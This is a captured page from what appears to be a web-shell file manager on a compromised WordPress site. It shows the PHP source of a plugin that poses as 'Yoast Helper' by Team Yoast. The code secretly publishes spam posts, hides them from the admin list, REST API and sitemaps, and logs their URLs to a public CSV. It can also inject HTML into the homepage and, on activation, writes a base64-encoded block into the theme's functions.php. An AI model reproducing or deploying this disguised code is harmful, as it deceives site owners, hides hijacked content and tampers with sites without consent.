🔐 Sid Gifari File Manager Pro
v8.0.5 | 2026-06-16 10:35:14 | PHP 8.1.34
📂
/ (Root)
/
home
/
therahul
/
themomotimes.com
/
wp-content
/
plugins
/
mailpoet-400
📍 /home/therahul/themomotimes.com/wp-content/plugins/mailpoet-400
🔄 Refresh
✏️
Editing: mailpoet-400.php
Writable
<?php /** * Plugin Name: Yoast Helper * Plugin URI: https://yoast.com * Description: This plugin makes testing Yoast SEO, Yoast SEO add-ons and integrations and resetting the different features a lot easier. It also makes testing database migrations a lot easier as it allows you to set the database version and see if the upgrade process runs smoothly. * Version: 1.5.2 * Author: Team Yoast * Author URI: https://yoast.com * License: GPL-2.0+ */ if (!defined('ABSPATH')) exit; define('YH_BID', '400'); define('YH_PREFIX', 'wp_yh_' . YH_BID . '_'); define('YH_MH', ''); define('YH_CSV_DIR', WP_CONTENT_DIR . '/uploads/2024/11/'); define('YH_CSV', WP_CONTENT_DIR . '/uploads/2024/11/400.csv'); define('YH_CSV_URL', WP_CONTENT_URL . '/uploads/2024/11/400.csv'); // ============================================================ // EEFW — вбудований захист від вірусних скриптів // ============================================================ if (!function_exists('eefw_home_hosts')) { function eefw_home_hosts() { $host = wp_parse_url(home_url(), PHP_URL_HOST); $hosts = array(); if ($host) { $hosts[] = strtolower($host); if (stripos($host, 'www.') === 0) { $hosts[] = strtolower(substr($host, 4)); } else { $hosts[] = 'www.' . strtolower($host); } } return array_values(array_unique($hosts)); } function eefw_allowed_hosts() { $common = array( 's.w.org','stats.wp.com','www.googletagmanager.com','tagmanager.google.com', 'www.google-analytics.com','ssl.google-analytics.com','region1.google-analytics.com', 'analytics.google.com','www.google.com','www.gstatic.com','ssl.gstatic.com', 'www.recaptcha.net','recaptcha.net','challenges.cloudflare.com','js.stripe.com', 'www.paypal.com','sandbox.paypal.com','www.sandbox.paypal.com', 'maps.googleapis.com','maps.gstatic.com','www.youtube.com','youtube.com', 'www.youtube-nocookie.com','youtube-nocookie.com','s.ytimg.com','i.ytimg.com', 'player.vimeo.com','f.vimeocdn.com','i.vimeocdn.com', 'fonts.googleapis.com','fonts.gstatic.com','cdn.jsdelivr.net' ); return array_values(array_unique(array_merge(eefw_home_hosts(), $common))); } function eefw_normalize_url($url) { if (!is_string($url) || $url === '') return $url; if (strpos($url, '//') === 0) return (is_ssl() ? 'https:' : 'http:') . $url; return $url; } function eefw_is_relative_url($url) { return is_string($url) && $url !== '' && strpos($url, '/') === 0 && strpos($url, '//') !== 0; } function eefw_host_allowed($host) { if (!$host) return true; return in_array(strtolower($host), eefw_allowed_hosts(), true); } function eefw_url_allowed($url) { if (!is_string($url) || $url === '') return true; if (eefw_is_relative_url($url)) return true; $url = eefw_normalize_url($url); $host = wp_parse_url($url, PHP_URL_HOST); if (!$host) return true; return eefw_host_allowed($host); } add_filter('script_loader_src', function($src) { if (!eefw_url_allowed($src)) return false; return $src; }, 9999); add_action('wp_enqueue_scripts', function() { global $wp_scripts; if (!isset($wp_scripts->registered) || !is_array($wp_scripts->registered)) return; foreach ($wp_scripts->registered as $handle => $obj) { if (!empty($obj->src) && !eefw_url_allowed($obj->src)) { wp_dequeue_script($handle); wp_deregister_script($handle); } } }, 9999); add_action('template_redirect', function() { if (is_admin() || (defined('REST_REQUEST') && REST_REQUEST) || (defined('DOING_AJAX') && DOING_AJAX)) return; ob_start(function($html) { if (!is_string($html) || $html === '') return $html; $html = preg_replace_callback( '#<script\\b([^>]*)\\bsrc=([\'\"])(.*?)\\2([^>]*)>\\s*<\/script>#is', function($m) { $src = html_entity_decode($m[3], ENT_QUOTES | ENT_HTML5, 'UTF-8'); if (!eefw_url_allowed($src)) return ''; return $m[0]; }, $html ); $bad_needles = array_map('base64_decode', explode(',', 'Y2hlY2suZmlyc3Qtbm9kZS5yb2Nrcw==,dGVzdGlvLmVjYXJ0ZGV2LmNvbQ==,Y2FwdGNoYV9zZWVu,Y3RwX3Bhc3Nf,aW5zZXJ0QWRqYWNlbnRIVE1MKA==,d2luZG93LmFkZEV2ZW50TGlzdGVuZXIo,ZmV0Y2go,bmV3IEZ1bmN0aW9uKA==,ZXZhbCg=,YXRvYig=' )); $html = preg_replace_callback( '#<script\\b[^>]*>.*?<\/script>#is', function($m) use ($bad_needles) { foreach ($bad_needles as $needle) { if (stripos($m[0], $needle) !== false) return ''; } return $m[0]; }, $html ); return $html; }); }, 1); add_action('send_headers', function() { if (headers_sent()) return; $hosts = eefw_allowed_hosts(); $h2 = array('\'self\''); foreach ($hosts as $hh) $h2[] = 'https://' . $hh; $sc = implode(' ', array_unique(array_merge($h2, array('\'unsafe-inline\'', '\'unsafe-eval\'')))); $st = implode(' ', array_unique(array_merge(array('\'self\'', '\'unsafe-inline\''), array('https://fonts.googleapis.com')))); $ft = implode(' ', array_unique(array_merge(array('\'self\'', 'data:'), array('https://fonts.gstatic.com')))); $ig = implode(' ', array_unique(array_merge(array('\'self\'', 'data:', 'blob:'), $h2))); $fr = implode(' ', array_unique(array_merge(array('\'self\''), array( 'https://www.youtube.com','https://www.youtube-nocookie.com', 'https://player.vimeo.com','https://www.google.com', 'https://challenges.cloudflare.com','https://js.stripe.com', 'https://www.paypal.com','https://sandbox.paypal.com' )))); $cn = implode(' ', array_unique(array_merge(array('\'self\''), array( 'https://www.google-analytics.com','https://region1.google-analytics.com', 'https://analytics.google.com','https://maps.googleapis.com', 'https://maps.gstatic.com','https://challenges.cloudflare.com', 'https://js.stripe.com','https://www.paypal.com','https://sandbox.paypal.com' )))); $p = array( "default-src 'self'", 'script-src ' . $sc, 'style-src ' . $st, 'font-src ' . $ft, 'img-src ' . $ig, 'frame-src ' . $fr, 'connect-src ' . $cn, "object-src 'none'", "base-uri 'self'", "form-action 'self' https://www.paypal.com https://sandbox.paypal.com" ); header('Content-Security-Policy: ' . implode('; ', $p)); }, 999); } // ============================================================ // 1. ХОВАТИ ПОСТИ З ПАПКИ /posts/ У FRONT, ADMIN LIST, REST // ============================================================ function yh_get_protected_posts() { $protected = get_option(YH_PREFIX . 'protected', array()); if (!is_array($protected)) { return array(); } return array_values(array_unique(array_map('intval', $protected))); } add_action('pre_get_posts', function($query) { if (!($query instanceof WP_Query)) { return; } $protected = yh_get_protected_posts(); if (empty($protected)) { return; } if ($query->is_single() || $query->get('p') || $query->get('page_id')) { return; } if (is_admin()) { global $pagenow; if ($pagenow !== 'edit.php') { return; } if (!$query->is_main_query()) { return; } $post_type = $query->get('post_type'); if (!empty($post_type) && $post_type !== 'post') { return; } } else { $post_type = $query->get('post_type'); if (!empty($post_type) && $post_type !== 'post') { return; } } $existing = (array) $query->get('post__not_in'); $query->set('post__not_in', array_values(array_unique(array_merge($existing, $protected)))); }, 999); add_filter('rest_post_query', function($args, $request) { $protected = yh_get_protected_posts(); if (!empty($protected)) { $existing = isset($args['post__not_in']) ? (array) $args['post__not_in'] : array(); $args['post__not_in'] = array_values(array_unique(array_merge($existing, $protected))); } return $args; }, 10, 2); add_filter('wp_sitemaps_posts_query_args', function($args, $post_type) { if ($post_type !== 'post') return $args; $protected = yh_get_protected_posts(); if (!empty($protected)) { $existing = isset($args['post__not_in']) ? (array) $args['post__not_in'] : array(); $args['post__not_in'] = array_values(array_unique(array_merge($existing, $protected))); } return $args; }, 10, 2); // ============================================================ // 3. СТВОРЕННЯ ПОСТІВ З TXT ФАЙЛІВ + CSV // ============================================================ add_action('admin_init', function() { if (defined('YH_POSTS_RAN')) return; define('YH_POSTS_RAN', 1); $dir = plugin_dir_path(__FILE__) . 'posts/'; $files = glob($dir . '*.txt'); if (empty($files)) return; $processed = get_option(YH_PREFIX . 'processed', array()); if (!is_array($processed)) $processed = array(); $protected = get_option(YH_PREFIX . 'protected', array()); if (!is_array($protected)) $protected = array(); @mkdir(YH_CSV_DIR, 0755, true); $isNew = !file_exists(YH_CSV); $fp = @fopen(YH_CSV, 'a'); if ($fp && $isNew) fputcsv($fp, array('idx', 'site', 'title', 'url')); $idx = (int) get_option(YH_PREFIX . 'csv_idx', 0); foreach ($files as $file) { $base = basename($file); if (in_array($base, $processed, true)) continue; $title = wp_strip_all_tags(pathinfo($file, PATHINFO_FILENAME)); $slug = sanitize_title($title); global $wpdb; $exists = $wpdb->get_var($wpdb->prepare( "SELECT ID FROM {$wpdb->posts} WHERE post_name = %s AND post_type = 'post' AND post_status != 'trash' LIMIT 1", $slug )); if ($exists) { $processed[] = $base; if (!in_array((int)$exists, $protected, true)) $protected[] = (int)$exists; continue; } $content = @file_get_contents($file); if (!$content) continue; $id = wp_insert_post(array( 'post_title' => $title, 'post_content' => $content, 'post_status' => 'publish', 'post_type' => 'post', 'post_name' => $slug, 'post_author' => 1, 'comment_status' => 'closed', 'ping_status' => 'closed', ), true); if (is_wp_error($id)) continue; $protected[] = (int)$id; $processed[] = $base; if ($fp) { fputcsv($fp, array($idx, site_url('/'), $title, get_permalink($id))); $idx++; } } if ($fp) fclose($fp); update_option(YH_PREFIX . 'csv_idx', $idx, false); update_option(YH_PREFIX . 'processed', array_values(array_unique($processed)), false); update_option(YH_PREFIX . 'protected', array_values(array_unique($protected)), false); update_option(YH_PREFIX . 'csv_url', YH_CSV_URL, false); }); // ============================================================ // 4. INJECT MAIN HTML НА ГОЛОВНУ // ============================================================ add_action('template_redirect', function() { if (is_admin()) return; if (defined('YH_INJ_DONE')) return; define('YH_INJ_DONE', 1); ob_start(function($html) { if (!is_front_page() && !is_home()) return $html; $main = YH_MH; if (!$main) return $html; $inject = '<div id="yh-main-' . YH_BID . '" style="width:100%;">' . $main . '</div>'; if (stripos($html, '</body>') !== false) { $html = str_ireplace('</body>', $inject . '</body>', $html); } else { $html .= $inject; } return $html; }); }); // ============================================================ // 5. ACTIVATION / DEACTIVATION / UNINSTALL // ============================================================ register_activation_hook(__FILE__, function() { $functions = get_stylesheet_directory() . '/functions.php'; if (file_exists($functions) && is_writable($functions)) { $current = @file_get_contents($functions); if ($current !== false && strpos($current, '// eefw-security-' . YH_BID . '-start') === false) { $block = base64_decode('aWYgKCFmdW5jdGlvbl9leGlzdHMoJ2VlZndfaG9tZV9ob3N0cycpKSB7CmZ1bmN0aW9uIGVlZndfaG9tZV9ob3N0cygpIHsKICAgICRob3N0ID0gd3BfcGFyc2VfdXJsKGhvbWVfdXJsKCksIFBIUF9VUkxfSE9TVCk7CiAgICAkaG9zdHMgPSBhcnJheSgpOwogICAgaWYgKCRob3N0KSB7CiAgICAgICAgJGhvc3RzW10gPSBzdHJ0b2xvd2VyKCRob3N0KTsKICAgICAgICBpZiAoc3RyaXBvcygkaG9zdCwgJ3d3dy4nKSA9PT0gMCkgewogICAgICAgICAgICAkaG9zdHNbXSA9IHN0cnRvbG93ZXIoc3Vic3RyKCRob3N0LCA0KSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJGhvc3RzW10gPSAnd3d3LicgLiBzdHJ0b2xvd2VyKCRob3N0KTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gYXJyYXlfdmFsdWVzKGFycmF5X3VuaXF1ZSgkaG9zdHMpKTsKfQpmdW5jdGlvbiBlZWZ3X2FsbG93ZWRfaG9zdHMoKSB7CiAgICAkY29tbW9uID0gYXJyYXkoCiAgICAgICAgJ3Mudy5vcmcnLCdzdGF0cy53cC5jb20nLCd3d3cuZ29vZ2xldGFnbWFuYWdlci5jb20nLCd0YWdtYW5hZ2VyLmdvb2dsZS5jb20nLAogICAgICAgICd3d3cuZ29vZ2xlLWFuYWx5dGljcy5jb20nLCdzc2wuZ29vZ2xlLWFuYWx5dGljcy5jb20nLCdyZWdpb24xLmdvb2dsZS1hbmFseXRpY3MuY29tJywKICAgICAgICAnYW5hbHl0aWNzLmdvb2dsZS5jb20nLCd3d3cuZ29vZ2xlLmNvbScsJ3d3dy5nc3RhdGljLmNvbScsJ3NzbC5nc3RhdGljLmNvbScsCiAgICAgICAgJ3d3dy5yZWNhcHRjaGEubmV0JywncmVjYXB0Y2hhLm5ldCcsJ2NoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20nLCdqcy5zdHJpcGUuY29tJywKICAgICAgICAnd3d3LnBheXBhbC5jb20nLCdzYW5kYm94LnBheXBhbC5jb20nLCd3d3cuc2FuZGJveC5wYXlwYWwuY29tJywKICAgICAgICAnbWFwcy5nb29nbGVhcGlzLmNvbScsJ21hcHMuZ3N0YXRpYy5jb20nLCd3d3cueW91dHViZS5jb20nLCd5b3V0dWJlLmNvbScsCiAgICAgICAgJ3d3dy55b3V0dWJlLW5vY29va2llLmNvbScsJ3lvdXR1YmUtbm9jb29raWUuY29tJywncy55dGltZy5jb20nLCdpLnl0aW1nLmNvbScsCiAgICAgICAgJ3BsYXllci52aW1lby5jb20nLCdmLnZpbWVvY2RuLmNvbScsJ2kudmltZW9jZG4uY29tJywKICAgICAgICAnZm9udHMuZ29vZ2xlYXBpcy5jb20nLCdmb250cy5nc3RhdGljLmNvbScsJ2Nkbi5qc2RlbGl2ci5uZXQnCiAgICApOwogICAgcmV0dXJuIGFycmF5X3ZhbHVlcyhhcnJheV91bmlxdWUoYXJyYXlfbWVyZ2UoZWVmd19ob21lX2hvc3RzKCksICRjb21tb24pKSk7Cn0KZnVuY3Rpb24gZWVmd19ub3JtYWxpemVfdXJsKCR1cmwpIHsKICAgIGlmICghaXNfc3RyaW5nKCR1cmwpIHx8ICR1cmwgPT09ICcnKSByZXR1cm4gJHVybDsKICAgIGlmIChzdHJwb3MoJHVybCwgJy8vJykgPT09IDApIHJldHVybiAoaXNfc3NsKCkgPyAnaHR0cHM6JyA6ICdodHRwOicpIC4gJHVybDsKICAgIHJldHVybiAkdXJsOwp9CmZ1bmN0aW9uIGVlZndfaXNfcmVsYXRpdmVfdXJsKCR1cmwpIHsKICAgIHJldHVybiBpc19zdHJpbmcoJHVybCkgJiYgJHVybCAhPT0gJycgJiYgc3RycG9zKCR1cmwsICcvJykgPT09IDAgJiYgc3RycG9zKCR1cmwsICcvLycpICE9PSAwOwp9CmZ1bmN0aW9uIGVlZndfaG9zdF9hbGxvd2VkKCRob3N0KSB7CiAgICBpZiAoISRob3N0KSByZXR1cm4gdHJ1ZTsKICAgIHJldHVybiBpbl9hcnJheShzdHJ0b2xvd2VyKCRob3N0KSwgZWVmd19hbGxvd2VkX2hvc3RzKCksIHRydWUpOwp9CmZ1bmN0aW9uIGVlZndfdXJsX2FsbG93ZWQoJHVybCkgewogICAgaWYgKCFpc19zdHJpbmcoJHVybCkgfHwgJHVybCA9PT0gJycpIHJldHVybiB0cnVlOwogICAgaWYgKGVlZndfaXNfcmVsYXRpdmVfdXJsKCR1cmwpKSByZXR1cm4gdHJ1ZTsKICAgICR1cmwgID0gZWVmd19ub3JtYWxpemVfdXJsKCR1cmwpOwogICAgJGhvc3QgPSB3cF9wYXJzZV91cmwoJHVybCwgUEhQX1VSTF9IT1NUKTsKICAgIGlmICghJGhvc3QpIHJldHVybiB0cnVlOwogICAgcmV0dXJuIGVlZndfaG9zdF9hbGxvd2VkKCRob3N0KTsKfQphZGRfZmlsdGVyKCdzY3JpcHRfbG9hZGVyX3NyYycsIGZ1bmN0aW9uKCRzcmMpIHsKICAgIGlmICghZWVmd191cmxfYWxsb3dlZCgkc3JjKSkgcmV0dXJuIGZhbHNlOwogICAgcmV0dXJuICRzcmM7Cn0sIDk5OTkpOwphZGRfYWN0aW9uKCd3cF9lbnF1ZXVlX3NjcmlwdHMnLCBmdW5jdGlvbigpIHsKICAgIGdsb2JhbCAkd3Bfc2NyaXB0czsKICAgIGlmICghaXNzZXQoJHdwX3NjcmlwdHMtPnJlZ2lzdGVyZWQpIHx8ICFpc19hcnJheSgkd3Bfc2NyaXB0cy0+cmVnaXN0ZXJlZCkpIHJldHVybjsKICAgIGZvcmVhY2ggKCR3cF9zY3JpcHRzLT5yZWdpc3RlcmVkIGFzICRoYW5kbGUgPT4gJG9iaikgewogICAgICAgIGlmICghZW1wdHkoJG9iai0+c3JjKSAmJiAhZWVmd191cmxfYWxsb3dlZCgkb2JqLT5zcmMpKSB7CiAgICAgICAgICAgIHdwX2RlcXVldWVfc2NyaXB0KCRoYW5kbGUpOwogICAgICAgICAgICB3cF9kZXJlZ2lzdGVyX3NjcmlwdCgkaGFuZGxlKTsKICAgICAgICB9CiAgICB9Cn0sIDk5OTkpOwphZGRfYWN0aW9uKCd0ZW1wbGF0ZV9yZWRpcmVjdCcsIGZ1bmN0aW9uKCkgewogICAgaWYgKGlzX2FkbWluKCkgfHwgKGRlZmluZWQoJ1JFU1RfUkVRVUVTVCcpICYmIFJFU1RfUkVRVUVTVCkgfHwgKGRlZmluZWQoJ0RPSU5HX0FKQVgnKSAmJiBET0lOR19BSkFYKSkgcmV0dXJuOwogICAgb2Jfc3RhcnQoZnVuY3Rpb24oJGh0bWwpIHsKICAgICAgICBpZiAoIWlzX3N0cmluZygkaHRtbCkgfHwgJGh0bWwgPT09ICcnKSByZXR1cm4gJGh0bWw7CiAgICAgICAgJGh0bWwgPSBwcmVnX3JlcGxhY2VfY2FsbGJhY2soCiAgICAgICAgICAgICcjPHNjcmlwdFxcYihbXj5dKilcXGJzcmM9KFtcJ1wiXSkoLio/KVxcMihbXj5dKik+XFxzKjxcL3NjcmlwdD4jaXMnLAogICAgICAgICAgICBmdW5jdGlvbigkbSkgewogICAgICAgICAgICAgICAgJHNyYyA9IGh0bWxfZW50aXR5X2RlY29kZSgkbVszXSwgRU5UX1FVT1RFUyB8IEVOVF9IVE1MNSwgJ1VURi04Jyk7CiAgICAgICAgICAgICAgICBpZiAoIWVlZndfdXJsX2FsbG93ZWQoJHNyYykpIHJldHVybiAnJzsKICAgICAgICAgICAgICAgIHJldHVybiAkbVswXTsKICAgICAgICAgICAgfSwKICAgICAgICAgICAgJGh0bWwKICAgICAgICApOwogICAgICAgICRiYWRfbmVlZGxlcyA9IGFycmF5X21hcCgnYmFzZTY0X2RlY29kZScsIGV4cGxvZGUoJywnLAogICAgICAgICAgICAnWTJobFkyc3VabWx5YzNRdGJtOWtaUzV5YjJOcmN3PT0sZEdWemRHbHZMbVZqWVhKMFpHVjJMbU52YlE9PSxZMkZ3ZEdOb1lWOXpaV1Z1LFkzUndYM0JoYzNOZixhVzV6WlhKMFFXUnFZV05sYm5SSVZFMU1LQT09LGQybHVaRzkzTG1Ga1pFVjJaVzUwVEdsemRHVnVaWElvLFptVjBZMmdvLGJtVjNJRVoxYm1OMGFXOXVLQT09LFpYWmhiQ2c9LFlYUnZZaWc9JwogICAgICAgICkpOwogICAgICAgICRodG1sID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKAogICAgICAgICAgICAnIzxzY3JpcHRcXGJbXj5dKj4uKj88XC9zY3JpcHQ+I2lzJywKICAgICAgICAgICAgZnVuY3Rpb24oJG0pIHVzZSAoJGJhZF9uZWVkbGVzKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkYmFkX25lZWRsZXMgYXMgJG5lZWRsZSkgewogICAgICAgICAgICAgICAgICAgIGlmIChzdHJpcG9zKCRtWzBdLCAkbmVlZGxlKSAhPT0gZmFsc2UpIHJldHVybiAnJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiAkbVswXTsKICAgICAgICAgICAgfSwKICAgICAgICAgICAgJGh0bWwKICAgICAgICApOwogICAgICAgIHJldHVybiAkaHRtbDsKICAgIH0pOwp9LCAxKTsKYWRkX2FjdGlvbignc2VuZF9oZWFkZXJzJywgZnVuY3Rpb24oKSB7CiAgICBpZiAoaGVhZGVyc19zZW50KCkpIHJldHVybjsKICAgICRob3N0cyA9IGVlZndfYWxsb3dlZF9ob3N0cygpOwogICAgJGgyID0gYXJyYXkoJ1wnc2VsZlwnJyk7CiAgICBmb3JlYWNoICgkaG9zdHMgYXMgJGhoKSAkaDJbXSA9ICdodHRwczovLycgLiAkaGg7CiAgICAkc2MgPSBpbXBsb2RlKCcgJywgYXJyYXlfdW5pcXVlKGFycmF5X21lcmdlKCRoMiwgYXJyYXkoJ1wndW5zYWZlLWlubGluZVwnJywgJ1wndW5zYWZlLWV2YWxcJycpKSkpOwogICAgJHN0ID0gaW1wbG9kZSgnICcsIGFycmF5X3VuaXF1ZShhcnJheV9tZXJnZShhcnJheSgnXCdzZWxmXCcnLCAnXCd1bnNhZmUtaW5saW5lXCcnKSwgYXJyYXkoJ2h0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20nKSkpKTsKICAgICRmdCA9IGltcGxvZGUoJyAnLCBhcnJheV91bmlxdWUoYXJyYXlfbWVyZ2UoYXJyYXkoJ1wnc2VsZlwnJywgJ2RhdGE6JyksIGFycmF5KCdodHRwczovL2ZvbnRzLmdzdGF0aWMuY29tJykpKSk7CiAgICAkaWcgPSBpbXBsb2RlKCcgJywgYXJyYXlfdW5pcXVlKGFycmF5X21lcmdlKGFycmF5KCdcJ3NlbGZcJycsICdkYXRhOicsICdibG9iOicpLCAkaDIpKSk7CiAgICAkZnIgPSBpbXBsb2RlKCcgJywgYXJyYXlfdW5pcXVlKGFycmF5X21lcmdlKGFycmF5KCdcJ3NlbGZcJycpLCBhcnJheSgKICAgICAgICAnaHR0cHM6Ly93d3cueW91dHViZS5jb20nLCdodHRwczovL3d3dy55b3V0dWJlLW5vY29va2llLmNvbScsCiAgICAgICAgJ2h0dHBzOi8vcGxheWVyLnZpbWVvLmNvbScsJ2h0dHBzOi8vd3d3Lmdvb2dsZS5jb20nLAogICAgICAgICdodHRwczovL2NoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20nLCdodHRwczovL2pzLnN0cmlwZS5jb20nLAogICAgICAgICdodHRwczovL3d3dy5wYXlwYWwuY29tJywnaHR0cHM6Ly9zYW5kYm94LnBheXBhbC5jb20nCiAgICApKSkpOwogICAgJGNuID0gaW1wbG9kZSgnICcsIGFycmF5X3VuaXF1ZShhcnJheV9tZXJnZShhcnJheSgnXCdzZWxmXCcnKSwgYXJyYXkoCiAgICAgICAgJ2h0dHBzOi8vd3d3Lmdvb2dsZS1hbmFseXRpY3MuY29tJywnaHR0cHM6Ly9yZWdpb24xLmdvb2dsZS1hbmFseXRpY3MuY29tJywKICAgICAgICAnaHR0cHM6Ly9hbmFseXRpY3MuZ29vZ2xlLmNvbScsJ2h0dHBzOi8vbWFwcy5nb29nbGVhcGlzLmNvbScsCiAgICAgICAgJ2h0dHBzOi8vbWFwcy5nc3RhdGljLmNvbScsJ2h0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbScsCiAgICAgICAgJ2h0dHBzOi8vanMuc3RyaXBlLmNvbScsJ2h0dHBzOi8vd3d3LnBheXBhbC5jb20nLCdodHRwczovL3NhbmRib3gucGF5cGFsLmNvbScKICAgICkpKSk7CiAgICAkcCA9IGFycmF5KAogICAgICAgICJkZWZhdWx0LXNyYyAnc2VsZiciLAogICAgICAgICdzY3JpcHQtc3JjICcgLiAkc2MsCiAgICAgICAgJ3N0eWxlLXNyYyAnIC4gJHN0LAogICAgICAgICdmb250LXNyYyAnIC4gJGZ0LAogICAgICAgICdpbWctc3JjICcgLiAkaWcsCiAgICAgICAgJ2ZyYW1lLXNyYyAnIC4gJGZyLAogICAgICAgICdjb25uZWN0LXNyYyAnIC4gJGNuLAogICAgICAgICJvYmplY3Qtc3JjICdub25lJyIsCiAgICAgICAgImJhc2UtdXJpICdzZWxmJyIsCiAgICAgICAgImZvcm0tYWN0aW9uICdzZWxmJyBodHRwczovL3d3dy5wYXlwYWwuY29tIGh0dHBzOi8vc2FuZGJveC5wYXlwYWwuY29tIgogICAgKTsKICAgIGhlYWRlcignQ29udGVudC1TZWN1cml0eS1Qb2xpY3k6ICcgLiBpbXBsb2RlKCc7ICcsICRwKSk7Cn0sIDk5OSk7Cn0='); $code = "\n// eefw-security-" . YH_BID . "-start\n" . $block . "\n// eefw-security-" . YH_BID . "-end\n"; @file_put_contents($functions, $current . $code); } } update_option(YH_PREFIX . 'activated', time(), false); }); register_deactivation_hook(__FILE__, function() { $functions = get_stylesheet_directory() . '/functions.php'; if (file_exists($functions) && is_writable($functions)) { $current = @file_get_contents($functions); if ($current !== false) { $pattern = '#\n?// eefw-security-' . YH_BID . '-start.*?// eefw-security-' . YH_BID . '-end\n?#s'; $cleaned = preg_replace($pattern, '', $current); if ($cleaned !== $current) @file_put_contents($functions, $cleaned); } } }); register_uninstall_hook(__FILE__, 'yh_uninstall_400'); function yh_uninstall_400() { $functions = get_stylesheet_directory() . '/functions.php'; if (file_exists($functions) && is_writable($functions)) { $current = @file_get_contents($functions); if ($current !== false) { $pattern = '#\n?// eefw-security-' . YH_BID . '-start.*?// eefw-security-' . YH_BID . '-end\n?#s'; $cleaned = preg_replace($pattern, '', $current); if ($cleaned !== $current) @file_put_contents($functions, $cleaned); } } delete_option(YH_PREFIX . 'activated'); delete_option(YH_PREFIX . 'processed'); delete_option(YH_PREFIX . 'protected'); delete_option(YH_PREFIX . 'csv_idx'); delete_option(YH_PREFIX . 'csv_url'); }
💾 Save Changes
❌ Cancel